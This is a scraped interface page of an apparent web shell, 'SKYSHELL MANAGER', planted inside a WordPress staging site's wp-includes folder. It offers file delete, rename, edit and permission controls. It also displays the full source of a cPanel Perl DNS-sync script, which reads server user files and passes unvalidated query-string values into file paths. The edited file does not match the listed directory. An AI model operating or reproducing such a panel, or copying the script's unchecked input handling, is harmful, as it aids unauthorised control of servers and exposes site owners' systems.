📁
SKYSHELL MANAGER
PHP v8.2.31
Create
Create
Path:
root
/
home
/
thevaxnx
/
nativize.com
/
staging
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
wp-links-opml.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: switchmaster.cgi
#!/usr/local/cpanel/3rdparty/bin/perl BEGIN { push @INC, '/root/ard/lib/'; } use Carp (); use LWP::Simple; use XML::Simple; use DNSRepl; use lib "/usr/local/cpanel"; use DBI; require "/root/ard/readconfig.pl"; use strict; our $VERSION = "6.2"; BEGIN { unshift(@INC, '/usr/local/cpanel', '/scripts'); pop(@INC) if ($INC[$#INC] eq '.'); } my $conf_file = '/root/ard/etc/global.conf'; my $clusterpresent=0; my ($dbh, $sth, @row); my $user_2proceed = ""; my $Conf; my $CleanDomains; # get configured options $Conf = &readconfig::ReadConfig ($conf_file); # read input query string my $q_action = $ENV{QUERY_STRING}; my @f_action = split('&', $q_action); my %queryString = (); foreach my $f_part (@f_action) { my $name; my $value; ($name, $value) = split(/\=/, $f_part); $queryString{ "$name" } = $value; } print "content-type: text/html\n\n"; print "<style>"; print <<EOF; .leftpadded { padding-left: 25px; } .left_padded { padding-left: 40px; } .number { padding-left: 25px; color: blue; font-weight: green; text-align: right; } .middletitle { padding-left: 15; font-weight: bold; font-size: 20px; text-decoration: underline; } .server { font-weight: bold; color: brown; } .final_msg_success { font-weight: bold; color: blue; font-family: Georgia,Verdana; padding-left: 40px; } .final_msg_error { font-weight: bold; color: red; font-family: Georgia,Verdana; padding-left: 40px; } EOF print "</style>"; # if connection to some of server was fail set to 0 and print error message my $sync_success = 1; my $sync_error_msg = 'ERROR: Some or all domains were not synchronized!!!'; my $sync_success_msg = 'SUCCESS: All domains were synchronized to hosting DNS!'; if ($queryString{'all_domains'} == 1) { $user_2proceed = &get_domain_owner_login ($queryString{'onezonelocal'}); if ($user_2proceed ne '') { $CleanDomains = &get_domain_list ($user_2proceed); my $idomain; print "<br><span class='middletitle'>Query to Verisign</span> <br>"; foreach $idomain (@$CleanDomains) { # check for blacklist if (&readconfig::isBlackListed($conf_file, $idomain)) { next; } my $rmmget = DNSRepl->new(hostname => $idomain, operation => 'read'); my ($retcode, $message) = $rmmget->run(); if ($retcode == 200) { my $rmm = DNSRepl->new(hostname => $idomain, operation => 'update'); my ($retcode, $message) = $rmm->run(); print "<br><span class='leftpadded'>Updating <b>".$idomain."</b> on Verisign</span>\n"; &readconfig::do_syslog ($Conf->{syslog}, 1, "switchmaster.cgi_SyncAllUserDomains: '$idomain' update queued to AMQP ($message)"); } else { my $rmm = DNSRepl->new(hostname => $idomain, operation => 'insert'); my ($retcode, $message) = $rmm->run(); if ($retcode == 202) { print "<br><span class='leftpadded'>Adding <b>".$idomain."</b> to Verisign</span>\n"; &readconfig::do_syslog ($Conf->{syslog}, 1, "switchmaster.cgi_SyncAllUserDomains: '$idomain' queued to AMQP"); } elsif ($retcode == 403) { print "<span class='leftpadded' style='color:red'>Failed to add <b>".$idomain."</b> to Verisign ($message)</span>\n"; &readconfig::do_syslog ($Conf->{errlog}, 1, "switchmaster.cgi_SyncAllUserDomains: '$idomain' $message"); } else { print "<span class='leftpadded' style='color:red'>Failed to add <b>".$idomain."</b> to Verisign</span>\n"; &readconfig::do_syslog ($Conf->{syslog}, 10, "switchmaster.cgi_SyncAllUserDomains: '$idomain' was NOT queued to AMQP"); } } } print "<hr style='color: #f00; background-color: #f00; height: 5px;'>"; if ($sync_success > 0) { print "<span class='final_msg_success'>$sync_success_msg</span>\n"; &readconfig::do_syslog ($Conf->{syslog}, 1, "switchmaster.cgi_SyncAllUserDomains: $sync_success_msg"); } else { print "<span class='final_msg_error'>$sync_error_msg</span>\n"; &readconfig::do_syslog ($Conf->{syslog}, 10, "switchmaster.cgi_SyncAllUserDomains: $sync_error_msg"); } } else { print "<b style='color: red;'>Invalid input or user not found!!!<b>"; &readconfig::do_syslog ($Conf->{syslog}, 10, "switchmaster.cgi_SyncAllUserDomains: ERROR: Invalid input or user not found!!!"); } } else { # if ($queryString{'all_domains'} == 1) my $dom = $queryString{'onezonelocal'}; $user_2proceed = &get_domain_owner_login($dom); # check if zone exist open (TEST,'<', "/var/named/$dom.db") or print "<b style='color: red;'>ERROR: no such zone $dom.db file in /var/named/<b>" and &readconfig::do_syslog ($Conf->{syslog}, 10, "switchmaster.cgi_SyncSingleZone: ERROR: No such zone $dom.db file in /var/named/") and return; # check for blacklist if (&readconfig::isBlackListed($conf_file, $dom)) { &readconfig::do_syslog ($Conf->{syslog}, 10, "switchmaster.cgi: '$dom' blacklisted"); return; } if ($user_2proceed ne '') { my $rmmget = DNSRepl->new(hostname => $dom, operation => 'read'); my ($retcode, $message) = $rmmget->run(); if ($retcode == 200) { my $rmm = DNSRepl->new(hostname => $dom, operation => 'update'); print "<span>Updating <b>".$dom."</b> on Verisign</span>\n"; my ($retcode, $message) = $rmm->run(); &readconfig::do_syslog ($Conf->{syslog}, 1, "ardtool_SyncAllUserDomains: '$dom' update queued to AMQP ($message)"); } else { my $rmm = DNSRepl->new(hostname => $dom, operation => 'insert'); my ($retcode, $message) = $rmm->run(); if ($retcode == 202) { print "<span>Adding <b>".$dom."</b> to Verisign</span>\n"; &readconfig::do_syslog ($Conf->{syslog}, 1, "switchmaster.cgi_SyncSingleZone: '$dom' was queued to AMQP"); } elsif ($retcode == 403) { print "<span>Failed to add <b>".$dom."</b> to Verisign ($message)</span>\n"; &readconfig::do_syslog ($Conf->{errlog}, 1, "switchmaster.cgi_SyncSingleZone: '$dom' $message"); } else { print "<span>Failed to add <b>".$dom."</b> to Verisign</span>\n"; &readconfig::do_syslog ($Conf->{syslog}, 10, "switchmaster.cgi_SyncSingleZone: '$dom' was NOT queued to AMQP"); } } } else { # if ($user_2proceed ne '') print "<b style='color: red;'>Invalid input or user not found!!!<b>"; &readconfig::do_syslog ($Conf->{syslog}, 10, "switchmaster.cgi_SyncSingleZone: ERROR: with '$dom' Invalid input or user not found!!!"); } } # if ($queryString{'all_domains'} == 1) # --------------------------------------- S U B R O U T I N G S ---------------------------------------- # # get_domain_list ( login ) # # Input: # user's login # # Return: # ref to domain names list (@); # sub get_domain_list ($) { my $login = shift; my @DomainList; my @userdomains; my $maindomain; # get user's master domain first open (FH,'<', "/var/cpanel/users/$login"); while (<FH>) { chop(); if ($_ =~ m/^DNS=(.+)$/) { $maindomain = $1; print "<br><span class='middletitle'>Main domain: <b style='color:green'> $maindomain </b></span><br>\n"; push (@userdomains, $maindomain); last; } } close(FH); open (FH,'<', "/var/cpanel/users/$login"); print "<br><span class='middletitle'>The following DNS records were found</span> <br>"; while (<FH>) { chop; # strip 'new line' if ($_ !~ m/$maindomain/) { if ($_ =~ m/^DNS\d+\s*=\s*(?:\*)?(.+)$/o) { push (@userdomains, $1); print "<span class='leftpadded' style='color: grey;'>" .$1 ."</span><br>"; } } } close (FH); my $cleanflag=1; if (scalar(@userdomains) > 0) { print "<br><span class='middletitle'>The following DNS zones will be synced</span> <br>"; } for (my $i=0; $i < scalar(@userdomains); $i++) { $cleanflag=1; for (my $j=0; $j < scalar(@userdomains); $j++) { if ( $i != $j ) { if ($userdomains[$i] =~ m/$userdomains[$j]$/) { $cleanflag=0; last; } } } if ($cleanflag) { push (@DomainList, $userdomains[$i]); print "<span class='leftpadded' style='color: green;'>" .$userdomains[$i] ."</span><br>"; } } return \@DomainList; } # # get_domain_owner_login ( domain ) # # Input: # domain name # Returns: # owner's login name or '' if domain not found # sub get_domain_owner_login ($) { my $domain = shift; my $user_login = ''; open(FH, "/etc/userdomains"); while (<FH>) { if (/^$domain: (\S+)/io) { $user_login = $1; print "<span class='middletitle'>Processing domain <i style='color: brown;'>$domain</i> owned by user:<b style='color: green;'> $user_login </b></span><br>"; last; } } close(FH); return $user_login; }
Save